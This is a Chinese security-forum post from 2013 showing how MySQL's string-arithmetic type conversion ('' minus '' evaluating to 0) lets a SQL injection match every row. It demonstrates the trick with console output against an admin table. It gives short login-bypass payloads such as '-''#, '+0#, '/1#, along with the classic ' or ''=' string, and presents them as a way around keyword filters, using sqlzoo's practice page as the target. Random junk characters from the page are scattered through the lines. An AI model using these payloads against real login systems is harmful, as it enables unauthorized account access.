找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2346|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
# J: Z. l+ B1 ~/ w% L有以下表结构: # i7 f# i$ Q$ w4 {

/ p0 V1 c  Y/ d* {mysql> desc admin;0 [+ h8 O. G1 b9 S# Q
+----------+--------------+------+-----+---------+----------------+
- U6 s" L. d/ K+ m, V& [# H) q' L7 v+ ?| Field    | Type         | Null | Key | Default | Extra          |) G" _  i( T" k+ r4 \
+----------+--------------+------+-----+---------+----------------+, O9 @# e7 b) [
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |' {$ r0 ^" K$ r6 A
| name     | char(32)     | NO   | UNI | NULL    |                |
/ _7 L( x( x& H| password | char(32)     | NO   | UNI | NULL    |                |* R! [9 _4 F  S0 G7 }6 ~) U8 `" Z
+----------+--------------+------+-----+---------+----------------+: ^+ d( G4 s. j1 t9 T; w* _  s
3 rows in set (0.00 sec)
; N1 Y! C; g9 G# |* _( d) B# _执行select * from admin;,成功返回所有记录内容。
$ ?, K8 z# e( X3 ^+ G6 V& G% t# D: F$ D2 ~

: J" A- w( u3 H+----+--------+----------------------------------+' n1 S+ [8 i( S2 _8 W! Y
| id | name   | password                         |
1 x4 U3 V* a4 ?& U9 _: i' v2 y+----+--------+----------------------------------+" i9 H: v. T& Q
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |! j, O+ d/ {4 X5 C1 C) p
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |9 J* ^5 g3 S. e0 ~* o# F! Z- @
|  4 | n00b   | ff80e8508d39047460921792273533a4 |/ K7 \1 f6 G4 J8 ~, f5 A" [
+----+--------+----------------------------------+
) S  ]$ N; M9 u3 F# o, p- R! v3 rows in set (0.00 sec)
7 d. [1 F* j) j; J4 J执行select * from admin where name=”;,没有匹配到任何记录。
# h/ \" _! k, s2 o7 Z, N# B7 N' q( ]- E0 m
mysql> select * from admin where name = '';
' E) |5 b6 `3 k2 G) yEmpty set (0.00 sec)9 e0 D. h6 v7 D7 P
那么我们来执行select * from admin where name = ”-”;
7 m; n3 x+ e" @
' E5 T& l8 A3 d0 g6 p/ G/ p) U7 h6 G
+----+--------+----------------------------------+1 E9 ]  |% M% X, f; M
| id | name   | password                         |# F9 U9 R% m1 h0 [1 ^
+----+--------+----------------------------------+
/ p1 ?) y  o- V, I# H|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |  z, k- z3 u" v$ F( E
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |  O: E% S5 ?8 N! B
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
( Y* v; |2 e2 b: L/ a$ d+----+--------+----------------------------------+
+ }9 ?  m- @2 d$ Q4 W3 rows in set, 3 warnings (0.00 sec)
% g3 z( Z! ~6 t  y7 ^* d; h  K- ~, d可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: . H. ]5 s/ O6 l/ x& n) b

1 m- x! E. j, p# D. ]mysql> show warnings;
' `( c6 T) @( ^+ l. m1 Z+ v+---------+------+------------------------------------------7 [9 t* w2 b6 g) T2 \
| Level   | Code | Message
: X) F" s( _% Q0 m  n8 {+---------+------+------------------------------------------
, S, R) g% Z8 q$ C) U$ ]. Y% l| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
1 B6 H8 K6 B1 {( s| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
6 [! s# [6 P$ \  J( q4 C& H% z| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b* x2 k$ O, M2 T7 d% b& C
+---------+------+------------------------------------------9 [  {9 ~# W9 X6 }
3 rows in set (0.00 sec)
. q' d# r3 a! F  X提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 : z+ ~9 L+ V! J: R5 e6 D# @

2 v' n- U* o$ |  x# y& c8 emysql> select ''-'';5 u) s8 C' K/ r- h! \( c
+-------+/ @2 @) H: Q8 @: e+ t
| ''-'' |6 l% o7 j9 B" S; o  R: I, u9 H, ^0 l
+-------+
* q+ @# L& F( q: s|     0 |0 a( P; b, c/ T
+-------+
! E6 }4 O1 E# |1 row in set (0.00 sec)- v2 |" w% \0 x' A- ~
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: # |1 ?" A, V. f* y6 E8 k0 K
0 p. e" x* y6 j1 x5 q% h
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
3 y; J7 G* S7 l* o& O+-----------------------------------------------------+% B5 e) j) k$ X9 v) x
| CAST((select name from admin limit 1,1) as DECIMAL) |
) K8 \$ d. R! F5 n5 P+-----------------------------------------------------+
; ?9 h" f" J  q: q4 G1 c6 d|                                                   0 |
$ k5 V: Y  A9 d3 i+ Z3 v+-----------------------------------------------------+
5 G" ~1 R/ e0 L4 ]1 row in set, 1 warning (0.00 sec)0 [5 R. Y, k2 @1 n1 e
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
7 c2 g2 S0 w  n4 k+ [$ M! T* B( t- ~. q: [1 d
SQL注入场景: http://www.sqlzoo.net/hack/
7 i: r! Q, A$ ?/ k1 m+ A5 s: v; ]4 m
" z$ A- Y1 }$ s: y1 T

, N7 R; c9 [$ B$ A6 {; W4 n* D! X5 u% |( F  C; V
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 5 a' [& P2 r. z2 ~2 ?: q- n# Q
" i5 i( }  S" l1 u$ I
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
- ~4 G  T& s4 D0 ~; a" m) G, r9 }& T& d3 \
+ k- B( w+ Y- E: c$ V0 @
/ \2 }7 x8 \9 x
/ U7 f: [: d1 v7 H+ Z9 V& Z  F( |( n
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 % B& h- o2 O% f. v" p

- w9 R8 b& U5 W8 s+ k   
! \; F+ i6 w3 q2 u! [
8 F' a6 c& d& G3 F, u! l" N除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可6 A, m; d! ?& e' t- J4 ~3 ?& |
; K2 A2 ?/ F. N

* h  \- `+ ^  J8 j# ?# K/ S+ }mysql> select ''/1;
& Y% h/ _* N4 b: @+ o- x+------+
( |8 m  i9 q1 {  R8 B/ D| ''/1 |- E' b* P' X2 R2 u0 B
+------+
" g0 H" P: m# s: I8 {0 C|    0 |- o+ y* T# j$ P2 q% D/ w2 a9 G' D% Z( H7 `
+------+! g2 P' ]! c* m- J# k7 u; \
1 row in set (0.00 sec)
% }; Z. ]: a) x类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
9 z; `$ \/ d% ?  ^; z- s( U: v  |: S. d% p. g+ n
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。* x' k$ J7 s  U2 C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表